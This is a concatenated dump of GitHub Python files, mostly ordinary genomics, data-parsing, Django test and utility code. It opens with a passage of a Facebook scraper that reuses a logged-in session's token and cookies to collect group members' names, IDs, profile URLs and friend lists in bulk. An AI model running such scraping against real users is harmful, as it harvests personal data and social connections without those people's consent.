2).until(\n            EC.element_to_be_clickable((By.CSS_SELECTOR, \"button[type='submit']\"))\n        ).click()\n\n    def scrape(self):\n        \"\"\"\n        Scrape all members of a Facebook group using the Selenium webdriver.\n\n        :return: the array of group members\n        \"\"\"\n        # Navigate to the group's member list\n        referrer = base_referrer.replace('{GROUP_ID}', group_id)\n\n        time.sleep(2)\n        self.driver.get(referrer)\n\n        # Create session\n        session = requests.session()\n        session.cookies.update({\n            cookie[\"name\"]: cookie[\"value\"]\n            for cookie in self.driver.get_cookies()\n        })\n\n        pattern = r'\\[\"DTSGInitData\",\\[\\],{\"token\":\"\\S+\",\"async_get_token\":\"\\S+?\"},\\d+\\]'\n        match = re.search(pattern, self.driver.page_source)\n        fb_dtsg_token = json.loads(match.group())[2][\"token\"]\n\n        headers = {\n            \"accept\": \"*/*\",\n            \"accept-language\": \"en-GB,en;q=0.5\",\n            \"content-type\": \"application/x-www-form-urlencoded\",\n            \"sec-ch-ua\": \"\\\" Not;A Brand\\\";v=\\\"99\\\", \\\"Google Chrome\\\";v=\\\"91\\\", \\\"Chromium\\\";v=\\\"91\\\"\",\n            \"sec-ch-ua-mobile\": \"?0\",\n            \"sec-fetch-dest\": \"empty\",\n            \"sec-fetch-mode\": \"cors\",\n            \"sec-fetch-site\": \"same-origin\",\n            \"x-fb-friendly-name\": query,\n            \"referrer\": referrer,\n            \"referrerPolicy\": \"strict-origin-when-cross-origin\",\n        }\n\n        page_info = dict(has_next_page=True, end_cursor=None)\n        members = []\n\n        # Request friends until there are no more\n        page = 1\n        while page_info[\"has_next_page\"]:\n            num_members = len(members)\n            print(f\"Reading group page {page}. ({num_members} members found)\")\n\n            response = session.post(\n                url,\n                headers=headers,\n                data=urllib.parse.urlencode(\n                    {\n                        \"fb_dtsg\": fb_dtsg_token,\n                        \"fb_api_req_friendly_name\": query,\n                        \"variables\": json.dumps(\n                            {\n                                \"count\": 10,\n                                \"cursor\": page_info[\"end_cursor\"],\n                                \"groupID\": group_id,\n                                \"id\": group_id,\n                                \"recruitingGroupFilterNonCompliant\": False,\n                                \"scale\": 1.5,\n                            }\n                        ).replace(\" \", \"\"),\n                        \"doc_id\": doc_id,\n                    }\n                )\n            )\n\n            response_dict = json.loads(response.content)\n            member_objects = response_dict[\"data\"][\"node\"][\"new_members\"][\"edges\"]\n\n            members += [\n                dict(\n                    id=str(member[\"node\"][\"id\"]),\n                    name=member['node']['name'],\n                    url=member['node']['url']\n                )\n                for member in member_objects\n                if member[\"node\"][\"__typename\"] == \"User\"\n            ]\n\n            page_info = response_dict[\"data\"][\"node\"][\"new_members\"][\"page_info\"]\n            page += 1\n\n        num_members = len(members)\n        print(f\"Number of members: {num_members}.\")\n\n        # Save members to the file\n        with open(\"members\", \"w\") as outfile:\n            json.dump(members, outfile)   \n\n        self.members = members\n        return members\n\n    def crawl(self, start_pos=0, end_pos=None):\n        \"\"\"\n        Scrape the friends for all members on Facebook using the Selenium webdriver.\n\n        :param start_pos: The position of the group member to start with\n        :param end_pos: The position of the group member to end with\n        :return: the dictionary of members mapped to their friends\n        \"\"\"\n        def visit_member_page(member):\n            \"\"\"\n            Visit the url of a member.\n\n            :param member: The member data\n            \"\"\"\n            link = member[\"url\"]\n            url_parsed = urllib.parse.urlparse(link)\n\n            if url_parsed.path == \"/profile.php\":\n                member_link =  f\"{link}&sk=friends\"\n            else:\n                member_link = f\"{link}/friends\"\n\n            self.driver.get(member_link)\n            time.sleep(1.5)\n\n        def wait_for_every_friend_to_load():\n            loading_element = self.driver.find_elements_by_css_selector(\n                loading_friends_panel_selector\n            )\n\n            while len(loading_element) > 0:\n                self.driver.find_element_by_xpath('//body').send_keys(Keys.END)\n                time.sleep(0.5)\n                loading_element = self.driver.find_elements_by_css_selector(\n                    loading_friends_panel_selector\n                )\n\n        def get_friend_by_url(url):\n            for member in self.members:\n                if member[\"url\"] == url:\n                    return member\n                \n            return None  \n\n        friends_all = self.friends_all\n        # Add onto the friends\n        num_members = len(self.members)\n        record = self.members[start_pos:end_pos]\n        for i, member in enumerate(record, start=1):\n            print(f\"Reading friends of {member['name']}. ({start_pos + i} of {num_members})\")\n            \n            # Check this member\n            visit_member_page(member)\n\n            wait_for_every_friend_to_load()\n            \n            friends_panel = self.driver.find_element_by_css_selector(\n                friends_panel_selector\n            )\n            \n            friend_links = friends_panel.find_elements_by_css_selector(\n                friend_link_selector\n            )\n\n            friends = []\n            for link in friend_links:\n                # Use the friend's url as a unique identifier\n                link = link.get_attribute(\"href\")\n                friend = get_friend_by_url(link)\n\n                # Check if this friend is in the group\n                if friend is not None:\n                    friends.append(\n                        dict(\n                            id=friend[\"id\"],\n                            name=friend[\"name\"],\n                            url=link,\n                        )\n                    )\n            \n            friends_all[member[\"id\"]] = friends\n\n            # Save current friends to the file\n            with open(\"friends\", \"w\") as outfile:\n                json.dump(friends_all, outfile)   \n\n        self.friends_all = friends_all\n        return friends_all","repo_name":"offad/group-visualiser","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":10190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"20812479876","text":"#! /usr/bin/env python3\n\"\"\"\nReplace predicted models with Web Apollo models accoriding to attribute, relace=\n\"\"\"\nimport sys\nimport re\nimport logging\nfrom gff3tool.lib import replace_OGS\nfrom gff3tool.lib.gff3 import Gff3\nfrom gff3tool.lib.utils import remove_files_from_list\nimport gff3tool.bin.gff3_sort as gff3_sort\n\n\ndef main(gff_file1, gff_file2, output_gff, report_fh, user_defined1=None, user_defined2=None, logger=None):\n    logger_null = logging.getLogger(__name__+'null')\n    null_handler = logging.NullHandler()\n    logger_null.addHandler(null_handler)\n\n    if not logger:\n        logger = logger_null\n    logger.info('Sorting the WA gff by following the order of Scaffold number and coordinates...')\n    gff3_sort.main(gff_file1, output='WA_sorted.gff', logger=logger)\n\n    logger.info('Sorting the other gff by following the order of Scaffold number and coordinates...')\n    gff3_sort.main(gff_file2, output='other_sorted.gff', logger=logger)\n\n    logger.info('Reading WA gff3 file...')\n    gff3 = Gff3(gff_file='WA_sorted.gff', logger=logger_null)\n\n    logger.info('Reading the other gff3 file...')\n    gff3M = Gff3(gff_file='other_sorted.gff', logger=logger_null) #Maker\n\n    logger.info('Identifying types of replacement based on replace tag...')\n    ReplaceGroups = replace_OGS.Groups(WAgff=gff3, Pgff=gff3M, outsideNum=1, user_defined1=user_defined1, user_defined2=user_defined2, logger=logger_null)\n\n    logger.info('Replacing...')\n    u_types = set()\n    u1_types = set()\n    if user_defined1 is not None:\n        for line in user_defined1:\n            u1_types.add(line[0])\n        u_types |= u1_types\n    else:\n        u1_types = None\n    u2_types = set()\n    if user_defined2 is not None:\n        for line in user_defined2:\n            u2_types.add(line[0])\n        u_types |= u2_types\n    else:\n        u2_types = None\n    roots = []\n    transcripts = []\n    unique = set()\n    for line in gff3.lines:\n\n        if user_defined1 is None:\n            try:\n                if line['line_type'] == 'feature' and 'Parent' not in line['attributes']:\n                    roots.append(line)\n            except:\n                pass\n        else:\n            if line['type'] in u1_types:\n                transcripts.append(line)\n                for root in gff3.collect_roots(line):\n                    if root['line_raw'] not in unique:\n                        roots.append(root)\n                        unique.add(root['line_raw'])\n\n    #roots = [line for line in gff3.lines if line['line_type'] == 'feature' and 'Parent' not in line['attributes']]\n    rnum, cnum, changed = 0, 0, 0\n    cal_type_children = {}\n    changed_rootid = set()\n    not_orphan = set()\n    for root in roots:\n        rnum += 1\n        if user_defined1 is None:\n            children = root['children']\n        else:\n            children = []\n            unique = set()\n            if root['type'] in u1_types:\n                children.append(root)\n            else:\n                for child in gff3.collect_descendants(root):\n                    if child['type'] in u1_types:\n                        if child['line_raw'] not in unique:\n                            children.append(child)\n                            unique.add(child['line_raw'])\n            children = sorted(children, key=lambda k: k['line_index'])\n\n        tags = {}\n        cnum += len(children)\n        maxisoforms = 0\n        for child in children:\n            tags[str(child['attributes']['replace'])] = 0\n            for tag in child['attributes']['replace']:\n                if not tag == 'NA':\n                    not_orphan.add(tag)\n                    t = gff3M.features[ReplaceGroups.mapName2ID[tag]][0]\n                    if user_defined2 is None:\n                        tmp = len(t['parents'][0][0]['children'])\n                    else:\n                        if len(t['parents']) == 0 and t['type'] in u2_types:\n                            #this transcript don't have parent feature(e.g. gene), set the number of isoform as 1.\n                            tmp = 1\n                        else:\n                            tmp = len(t['parents'][0][0]['children'])\n\n\n                    if tmp > maxisoforms:\n                        maxisoforms = tmp\n        if len(tags) <= 1:\n            if maxisoforms >= 2:\n                root['attributes']['replace_type'] = 'multi-ref'\n                for child in children:\n                    child['attributes']['replace_type'] = 'multi-ref'\n                if user_defined1 is None:\n                    ans = ReplaceGroups.replacer_multi(root, ReplaceGroups, gff3M, u1_types, u2_types)\n                else:\n                    ans = ReplaceGroups.replacer_multi(root, ReplaceGroups, gff3M, u1_types, u2_types, gff3)\n                report_fh.write('{0:s}\\n'.format(ans))\n                changed_rootid.add(root['attributes']['ID'])\n                changed += 1\n            else:\n                ReplaceGroups.replacer(root, ReplaceGroups, gff3M, u1_types, gff3)\n                changed_rootid.add(root['attributes']['ID'])\n                changed += 1\n        else:\n            logger.info('[Warning] multiple replace tags in multiple isoforms! {0:s}. This model is not processed\\n'.format(root['attributes']['ID']))\n            report_fh.write('[Warning] multiple replace tags in multiple isoforms! {0:s}. This model is not processed\\n'.format(root['attributes']['ID']))\n        for child in children:\n            if 'status' in child['attributes'] and (child['attributes']['status'] == 'Delete' or child['attributes']['status'] == 'delete'):\n                child['attributes']['replace_type'] = 'Delete'\n            if child['attributes']['replace_type'] in cal_type_children:\n                cal_type_children[child['attributes']['replace_type']] += 1\n            else:\n                cal_type_children[child['attributes']['replace_type']] = 1\n\n    cal_type = {}\n    for i in ReplaceGroups.info:\n        tokens = i.split('\\t')\n        tmp = re.search('(.+?):(.*)', tokens[3])\n        if tmp.groups()[0] in cal_type:\n            cal_type[tmp.groups()[0]] += 1\n        else:\n            cal_type[tmp.groups()[0]] = 1\n        #print('{0:s}'.format(i))\n\n    report_fh.write('# Number of WA loci: {0:d}\\n'.format(rnum))\n    report_fh.write('# Number of WA transcripts: {0:d}\\n'.format(cnum))\n    report_fh.write('# Number of WA loci that were used to replace the models in reference gff: {0:d}\\n'.format(changed))\n\n    for k, v in cal_type.items():\n        if k == 'simple':\n            report_fh.write('# Number of loci with {0:s}/Delete replacement: {1:d}\\n'.format(k, v) )\n        else:\n            report_fh.write('# Number of loci with {0:s} replacement: {1:d}\\n'.format(k, v) )\n    for k, v in cal_type_children.items():\n        report_fh.write('# Number of transcripts with {0:s} replacement: {1:d}\\n'.format(k, v) )\n\n    report_fh.write('Change_log\\tOriginal_gene_name\\tOriginal_transcript_ID\\tOriginal_transcript_name\\tTmp_OGSv0_ID\\n')\n\n    roots = []\n    transcripts = []\n    unique = set()\n    for line in gff3M.lines:\n        if user_defined2 is None:\n            try:\n                if line['line_type'] == 'feature' and 'Parent' not in line['attributes']:\n                    roots.append(line)\n            except:\n                pass\n        else:\n            if line['type'] in u_types:\n                transcripts.append(line)\n                for root in gff3M.collect_roots(line):\n                    if root['line_raw'] not in unique:\n                        roots.append(root)\n                        unique.add(root['line_raw'])\n\n    # roots = [line for line in gff3M.lines if line['line_type'] == 'feature' and 'Parent' not in line['attributes']]\n    for root in roots:\n        if root['attributes']['ID'] not in changed_rootid:\n            if user_defined2 is None:\n                children = root['children']\n\n            else:\n                children = []\n                unique = set()\n                if root['type'] in u_types:\n                    children.append(root)\n                else:\n                    for child in gff3M.collect_descendants(root):\n                        if child['type'] in u_types:\n                            if child['line_raw'] not in unique:\n                                children.append(child)\n                                unique.add(child['line_raw'])\n                children = sorted(children, key=lambda k: k['line_index'])\n        elif root['attributes']['ID'] in changed_rootid and user_defined1 is not None:\n            children = []\n            unique = set()\n            if root['type'] in u1_types:\n                children.append(root)\n            else:\n                for child in gff3.collect_descendants(root):\n                    if child['type'] in u1_types:\n                        if child['line_raw'] not in unique:\n                            children.append(child)\n                            unique.add(child['line_raw'])\n            children = sorted(children, key=lambda k: k['line_index'])\n        else:\n            children = root['children']\n\n\n        for child in children:\n            cflag = 0\n            if not child['line_status'] == 'removed':\n                #print(child['attributes'])\n                if 'replace_type' in child['attributes']:\n                    for i in root['attributes']['replace']:\n                        tname, tid, gid, tmpid = 'NA', 'NA', 'NA', 'NA'\n                        tmpid = child['attributes']['ID']\n                        if not i == 'NA':\n                            t = gff3M.features[ReplaceGroups.mapName2ID[i]][0]\n                            try:\n                                tname = t['attributes']['Name']\n                            except:\n                                tname = t['attributes']['ID']\n                            tid = t['attributes']['ID']\n                            gid_list = list()\n                            if user_defined2 is None:\n                                for tp_line in t['parents']:\n                                    for tp in tp_line:\n                                        gid_list.append(tp['attributes']['ID'])\n                                gid = ','.join(gid_list)\n                            else:\n                                for tp in gff3M.collect_roots(t):\n                                    gid_list.append(tp['attributes']['ID'])\n                                gid = ','.join(gid_list)\n                            if tname not in not_orphan:\n                                tmpid = 'NA'\n                        report_fh.write('{0:s}\\t{1:s}\\t{2:s}\\t{3:s}\\t{4:s}\\n'.format(ReplaceGroups.mapType2Log[child['attributes']['replace_type']], gid, tid, tname, tmpid))\n                    del child['attributes']['replace_type']\n                    cflag += 1\n                if 'replace' in child['attributes']:\n                    del child['attributes']['replace']\n                if cflag == 0:\n                    gid = None\n                    gid_list = list()\n                    if user_defined2 is None:\n                        for p_line in child['parents']:\n                            for p in p_line:\n                                gid_list.append(p['attributes']['ID'])\n                    else:\n                        for p in gff3M.collect_roots(child):\n                            gid_list.append(p['attributes']['ID'])\n\n                    gid = ','.join(gid_list)\n                    report_fh.write('{0:s}\\t{1:s}\\t{2:s}\\t{3:s}\\t{4:s}\\n'.format(ReplaceGroups.mapType2Log['other'], gid, child['attributes']['ID'], ReplaceGroups.id2name[child['attributes']['ID']], child['attributes']['ID']))\n            else:\n                if 'status' in child['attributes'] and child['attributes']['status'] == 'Delete':\n                    for i in child['attributes']['replace']:\n                        if i == 'NA':\n                            sys.exit('The replace tag for Delete replacement cannot be NA: {0:s}'.format(child['line_raw']))\n                        t = gff3M.features[ReplaceGroups.mapName2ID[i]][0]\n                        tname = t['attributes']['Name']\n                        tid = t['attributes']['ID']\n                        gid_list = list()\n                        if user_defined2 is None:\n                            for tp_line in t['parents']:\n                                for tp in tp_line:\n                                    gid_list.append(tp['attributes']['ID'])\n                        else:\n                            for tp_line in gff3M.collect_roots(t):\n                                gid_list.append(tp_line['attributes']['ID'])\n\n                        gid = ','.join(gid_list)\n\n                        report_fh.write('{0:s}\\t{1:s}\\t{2:s}\\t{3:s}\\t{4:s}\\n'.format(ReplaceGroups.mapType2Log['Delete'], gid, tid, tname, \"NA\"))\n                    if 'replace' in child['attributes']:\n                        del child['attributes']['replace']\n        for attr in ['replace', 'replace_type', 'modified_track']:\n            if attr in root['attributes']:\n                del root['attributes'][attr]\n\n    ReplaceGroups.name2id(gff3M)\n    gff3M.write(output_gff)\n    rm_list = ['WA_sorted.gff', 'other_sorted.gff']\n    remove_files_from_list(rm_list)\n","repo_name":"NAL-i5K/GFF3toolkit","sub_path":"gff3tool/lib/gff3_merge/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":13227,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"38"}
{"seq_id":"4080410880","text":"import time\nimport logging\nimport os\nimport sys\nimport concurrent\nimport nrgpy\n\nimport src.common.utilities.function_helper as util_func\nimport src.nrg_parser.mast.utilities.iea_json.nrg_config as nrg_config\nfrom src.nrg_parser.mast.logger_model.nrg.reader.symphoniepro_txt_reader import (\n    SymphonieProTxtReader,\n)\nfrom src.nrg_parser.mast.utilities.iea_json.convert_to_iea_json import create_iea_json\n\n\ndef main():\n    \"\"\"Creates IEA-task43 json from NRG Symphonie Pro logger data files\n    SymPRO Desktop PRO must be installed. Please specify installation location in nrg_config.py\n    Args:\n        project_name(str): ex: Morgan-County\n        local_path(str): local path directory where logger data files(.rld) are located\n\n    Output: iea_task43.json file under local path\n    \"\"\"\n\n    logging.info(\"IN execute - NRG Systems\")\n    project_name = sys.argv[1]\n    local_path = sys.argv[2]\n\n    # check if path exists\n\n    if not os.path.isdir(local_path):\n        logging.error(\n            f\"Local path {local_path} does not exists. Please confirm rld path directory.\"\n        )\n        return\n\n    local_path_dir_converted = os.path.join(local_path, \"converted\")\n\n    # converted folder doesn't exist, create\n    if not os.path.isdir(local_path_dir_converted):\n        os.mkdir(local_path_dir_converted)\n    else:\n        util_func.remove_files_in_dir(local_path_dir_converted)\n\n    process_start = time.perf_counter()\n\n    # convert rld binary - txt conversion\n    convert_start = time.perf_counter()\n\n    # get symphonie pro desktop app locations\n    if nrg_config.SYMPHONIE_APP is not None:\n        symphro_path = nrg_config.SYMPHONIE_APP\n    else:\n        symphro_path = \"C:/Program Files (x86)/Renewable NRG Systems/SymPRO Desktop/SymPRODesktop.exe\"\n\n    # # convert .rld file to txt\n    converter = nrgpy.local_rld(\n        rld_dir=local_path, out_dir=local_path_dir_converted, sympro_path=symphro_path\n    )\n    converter.convert()\n\n    convert_end = time.perf_counter()\n    logging.warning(\n        f\"PERF: Conversion {round(convert_end - convert_start, 2)} second(s)\"\n    )\n\n    # read and parse\n    logger_config_dict_list, sensor_config_dict_list = read_and_parse(\n        local_path_dir_converted\n    )\n    if len(logger_config_dict_list) > 0 and len(sensor_config_dict_list) > 0:\n        create_iea_json(\n            logger_config_dict_list,\n            sensor_config_dict_list,\n            local_path,\n            \"NRG SymphoniePro\",\n            project_name,\n        )\n\n    # remove all converted files after the run\n    util_func.remove_files_in_dir(local_path_dir_converted)\n\n    process_end = time.perf_counter()\n    logging.warning(\n        f\"PERF: PROCESS EXEC OVERALL: {round(process_end - process_start, 2)} second(s)\"\n    )\n    logging.info(f\"Please find the output file in {local_path}/iea_task43.json\")\n    logging.info(\"OUT execute - NRG Systems\")\n\n\ndef read_and_parse(local_path):\n    # initialize data\n    logger_config_dict_list = []\n    sensor_config_dict_list = []\n\n    files = os.listdir(local_path)\n    # Filtering only txt files.\n    filename_list = [\n        f for f in files if os.path.isfile(local_path + \"/\" + f) and f.endswith(\".txt\")\n    ]\n\n    # use a with statement to ensure threads are cleaned up promptly\n    with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor:\n        # Start the load operations and mark each future with its filename\n        future_to_file = {\n            executor.submit(read, local_path, filename): filename\n            for filename in filename_list\n        }\n\n        for future in concurrent.futures.as_completed(future_to_file):\n            filename = future_to_file[future]\n            try:\n                data = future.result()\n            except Exception as exc:\n                print(\"%r generated an exception: %s\" % (filename, exc))\n            else:\n                if data is not None and len(data.timeseries_data) > 0:\n                    lmc_list = data.get_iea_logger_main_config()\n                    if lmc_list is not None:\n                        logger_config_dict_list.append(lmc_list)\n                        sensor_config_dict_list.extend(data.get_iea_sensor_config())\n                #     else:\n                #         print(f'invalid file: {filename}')\n                else:\n                    print(f\"Data file has empty dataset: {filename}. Skip!\")\n\n    return logger_config_dict_list, sensor_config_dict_list\n\n\ndef read(local_path, filename):\n    txt_filepath = os.path.join(local_path, filename)\n    parsed_data = SymphonieProTxtReader(txt_filepath)\n    return parsed_data\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"nrgpy/nrg-parser","sub_path":"src/nrg_parser/mast/utilities/iea_json/create_iea_json_nrg.py","file_name":"create_iea_json_nrg.py","file_ext":"py","file_size_in_byte":4643,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"44769609114","text":"# coding=utf-8\n\"\"\"\n    在windows下运行！！！\n    使用当前文件请下载Python2.7的版本。\n    安装Python之后，用IDLE打开当前文件，使用F5运行\n    这是一个修改图片名字的小程序。\n\"\"\"\n\nimport os\n\n\ndef rename():\n    path = \"C:\\\\Users\\\\lyfw2\\\\OneDrive\\\\Photos\"         # 修改文件名所在的完整文件夹路径,请复制完整文件夹路径之后把有'\\'的加多一个'\\'\n    files = os.listdir(path)                            # 获取path路径下的所有名字的列表\n\n    for file in files:                                  # 循环获取文件名\n        \"\"\"\n        # 这是一个修改完整的文件名的方法,如果需要请把引号去掉，再把引号下面的去掉\n        if os.path.isdir(file):\n            continue\n        old_name = os.path.join(path, file)\n        file_type = os.path.splitext(file)[1]\n        name = 'XXX' + file_type\n        new_name = os.path.join(path, name)\n        os.rename(old_name, new_name)\n        \"\"\"\n        # 判断这文件名前面5个字母是否与之匹配，不等于就跳过(如果要修改其他字数把5改成要修改的字数的个数)\n        if file[0:5] != 'SPSCF':\n            continue\n        else:\n            old_name = os.path.join(path, file)         # 合并文件的路径\n            file_type = os.path.splitext(file)[1]       # 获取当前文件的后缀名或是扩展名\n            filename = os.path.splitext(file)[0]        # 获取当前文件名\n            name = 'CHD' + filename[5:] + file_type     # 需要修改的文件名（filename[5:]可以根据你要改的字数的个数修改数字5，跟判断的尾数要相同）\n            new_name = os.path.join(path, name)         # 合并文件的路径\n            os.rename(old_name, new_name)               # 修改名字！\n\n\n# 此处不要删除。\nif __name__ == '__main__':\n    rename()\n","repo_name":"guweimo/Backend-project","sub_path":"python/tool/edit-file-name.py","file_name":"edit-file-name.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"12601599106","text":"# import pandas library\nimport pandas as pd\n\n# load sample csv file into dataframe and count rows loaded\ndf = pd.read_csv('E:/Projects/python-pandas/GHCND_sample_csv.csv')\nprint(f'There are {len(df)} lines in the dataset.')\n\n# inspect dataset structure interpred by pandas\ndf.info()\n\n# inspect dataset first 10 lines\nprint(df.head(5))\n\n# projection relational operation\ndf_proj = df[['STATION_NAME', 'DATE', 'TMAX', 'TMIN']]\n\n# inspect first 5 lines of the projected dataframe\ndf_proj.head(5)\n\n# save\ndf_proj.to_csv('E:/Projects/python-pandas/GHCND_sample_projected.csv')\nprint(f'There are {len(df_proj)} lines in the dataset.')\nprint(f'There are {len(df_proj.columns)} columns in the dataset.')","repo_name":"omnibug/python-pandas","sub_path":"projection.py","file_name":"projection.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"44889340854","text":"import json\nfrom agora.testing import *\nfrom accounts.models import User\n\n\ndef assertions_crud(resource, user):\n    \"\"\"\n    Flow:\n    User can list empty resources set\n    User can create resource\n    User can list data set\n    User can update resource\n    User can delete resource\n    \"\"\"\n    url = RESOURCES_CRUD[resource]['url']\n    data = RESOURCES_CRUD[resource]['create_data']\n    edit_data = RESOURCES_CRUD[resource]['edit_data']\n    assert user.get(url).json() == []\n    resp = user.post(url, data)\n    assert resp.status_code == 201\n    for key, value in data.iteritems():\n        assert resp.json()[key] == value\n    assert len(user.get(url).json()) == 1\n    id = resp.json()['id']\n    if edit_data:\n        resp = user.patch(\n            url + id + '/',\n            json.dumps(edit_data),\n            content_type='application/json')\n        assert resp.status_code == 200\n        for key, value in edit_data.iteritems():\n            assert resp.json()[key] == value\n\n    resp = user.delete(url + id + '/')\n    assert resp.status_code == 204\n    assert user.get(url).json() == []\n\n\n# Tests for resources with no foreign keys\n\ndef test_target_users(superadmin):\n    assertions_crud('target_users', superadmin)\n\ndef test_providers(superadmin):\n    assertions_crud('providers', superadmin)\n\n# Tests for ServiceAdminship\n\n# def test_serviceadminship_create(superadmin):\n\n    # service_url = RESOURCES_CRUD['services']['url']\n    # service_data = RESOURCES_CRUD['services']['create_data']\n    # resp = superadmin.post(service_url, service_data)\n\n    # service_id = resp.json()['id']\n    # test_user, created = User.objects.get_or_create(\n        # username='test_user',\n        # email='test_user@test.org',\n        # role='serviceadmin')\n    # test_user.set_password('12345')\n    # test_user.save()\n    # sa_url = RESOURCES_CRUD['service_admins']['url']\n\n    # \"\"\"\n    # Superadmin creates ServiceAdminship with status 'approved'.\n    # Superadmin can delete a serviceAdminship\n    # \"\"\"\n    # resp = superadmin.post(sa_url,\n                           # {'admin': test_user.id, 'service': service_id})\n    # sa_id = resp.json()['id']\n    # assert resp.status_code == 201\n    # assert resp.json()['state'] == 'approved'\n\n    # resp = superadmin.delete(sa_url + sa_id + '/')\n    # assert resp.status_code == 204\n\n    # resp = superadmin.delete(service_url + service_id + '/')\n    # assert resp.status_code == 204\n\n    # resp = superadmin.post(service_url, service_data)\n    # service_id = resp.json()['id']\n    # test_user, created = User.objects.get_or_create(\n        # username='test_user',\n        # email='test_user@test.org')\n    # \"\"\"\n    # Superadmin cannot create ServiceAdminship for user with roles 'observer',\n    # 'superadmin' or 'admin'.\n    # \"\"\"\n    # for role in ['observer', 'superadmin', 'admin']:\n        # test_user.role = role\n        # test_user.save()\n\n        # resp = superadmin.post(sa_url,\n                               # {'admin': test_user.id, 'service': service_id})\n        # assert resp.status_code == 400\n\n    # superadmin.delete(service_url + service_id + '/')\n\n\n# def test_serviceadminship_update(superadmin):\n    # \"\"\"\n    # Allowed state transitions are:\n    # ('pending', 'approved'),\n    # ('pending', 'rejected'),\n    # ('rejected', 'pending'),\n    # ('approved', 'pending'),\n    # \"\"\"\n\n    # service_url = RESOURCES_CRUD['services']['url']\n    # service_data = RESOURCES_CRUD['services']['create_data']\n    # resp = superadmin.post(service_url, service_data)\n\n    # service_id = resp.json()['id']\n    # test_user, created = User.objects.get_or_create(\n        # username='test_user',\n        # email='test_user@test.org',\n        # role='serviceadmin')\n    # test_user.set_password('12345')\n    # test_user.save()\n    # sa_url = RESOURCES_CRUD['service_admins']['url']\n\n    # resp = superadmin.post(sa_url,\n                           # {'admin': test_user.id, 'service': service_id})\n    # sa_id = resp.json()['id']\n\n    # resp = superadmin.patch(\n        # sa_url + sa_id + '/',\n        # json.dumps({'state': 'rejected'}),\n        # content_type='application/json')\n    # assert resp.status_code == 400\n\n    # resp = superadmin.patch(\n        # sa_url + sa_id + '/',\n        # json.dumps({'state': 'approved'}),\n        # content_type='application/json')\n    # assert resp.status_code == 400\n\n    # resp = superadmin.patch(\n        # sa_url + sa_id + '/',\n        # json.dumps({'state': 'pending'}),\n        # content_type='application/json')\n    # assert resp.status_code == 200\n\n\n# Tests for resources with related data\n","repo_name":"Tas-sos/agora-sp-devel","sub_path":"agora/tests/test_superadmin.py","file_name":"test_superadmin.py","file_ext":"py","file_size_in_byte":4573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"35894104601","text":"import secrets\nfrom collections.abc import Iterable\n\nfrom pydantic import Field\nfrom pydantic_settings import BaseSettings\n\nfrom metldata.accession_registry.accession_store import AccessionStore\n\n\nclass AccessionRegistryConfig(BaseSettings):\n    \"\"\"Config parameters and their defaults.\"\"\"\n\n    prefix_mapping: dict[str, str] = Field(\n        ...,\n        description=\"Specifies the ID prefix (values) per resource type (keys).\",\n        examples=[\n            {\n                \"file\": \"GHGAF\",\n                \"experiment\": \"GHGAE\",\n                \"sample\": \"GHGAS\",\n                \"dataset\": \"GHGAD\",\n            }\n        ],\n    )\n\n    suffix_length: int = Field(8, description=\"Length of the numeric ID suffix.\")\n\n\nclass AccessionRegistry:\n    \"\"\"Main class handling the accession registry.\"\"\"\n\n    class UnkownResourceTypeError(RuntimeError):\n        \"\"\"Raised when a resource type is specified that is unkown.\"\"\"\n\n        def __init__(self, *, specified_type: str, expected_types: Iterable[str]):\n            \"\"\"Specify the given as well as the expected resource types.\"\"\"\n            message = (\n                f\"The specified resource type '{specified_type} is unkown'.\"\n                + \" Expected one of: \"\n                + \", \".join(expected_types)\n            )\n            super().__init__(message)\n\n    class AccessionGenerationError(RuntimeError):\n        \"\"\"Raised when a the generation of a new accession failed.\"\"\"\n\n    def __init__(\n        self, *, config: AccessionRegistryConfig, accession_store: AccessionStore\n    ):\n        \"\"\"Initialize with config.\"\"\"\n        self._config = config\n        self._accession_store = accession_store\n\n    def _assert_resource_type_exists(self, *, resource_type: str) -> None:\n        \"\"\"Checks whether the specified resource type is in the prefix mapping, raises\n        and UnkownResourceTypeError otherwise.\n        \"\"\"\n        if resource_type not in self._config.prefix_mapping:\n            raise self.UnkownResourceTypeError(\n                specified_type=resource_type,\n                expected_types=self._config.prefix_mapping.keys(),\n            )\n\n    def _generate_accession(self, *, resource_type: str) -> str:\n        \"\"\"Generate a new accession.\"\"\"\n        self._assert_resource_type_exists(resource_type=resource_type)\n\n        prefix = self._config.prefix_mapping[resource_type]\n        suffix = \"\".join(\n            str(secrets.randbelow(10)) for _ in range(self._config.suffix_length)\n        )\n\n        return prefix + suffix\n\n    def get_accession(self, *, resource_type: str) -> str:\n        \"\"\"Generates and registers a new accession for a resource of the specified type.\"\"\"\n        for _ in range(10):\n            # try 10 times to generate a new accession:\n            accession = self._generate_accession(resource_type=resource_type)\n\n            try:\n                self._accession_store.save(accession=accession)\n            except AccessionStore.AccessionAlreadyExistsError:\n                continue\n\n            return accession\n\n        raise self.AccessionGenerationError(\n            \"Tried and failed 10 times to generate a new accession that is not used\"\n            + \" already. The accession space might be exhausted.\"\n        )\n","repo_name":"ghga-de/metldata","sub_path":"src/metldata/accession_registry/accession_registry.py","file_name":"accession_registry.py","file_ext":"py","file_size_in_byte":3230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
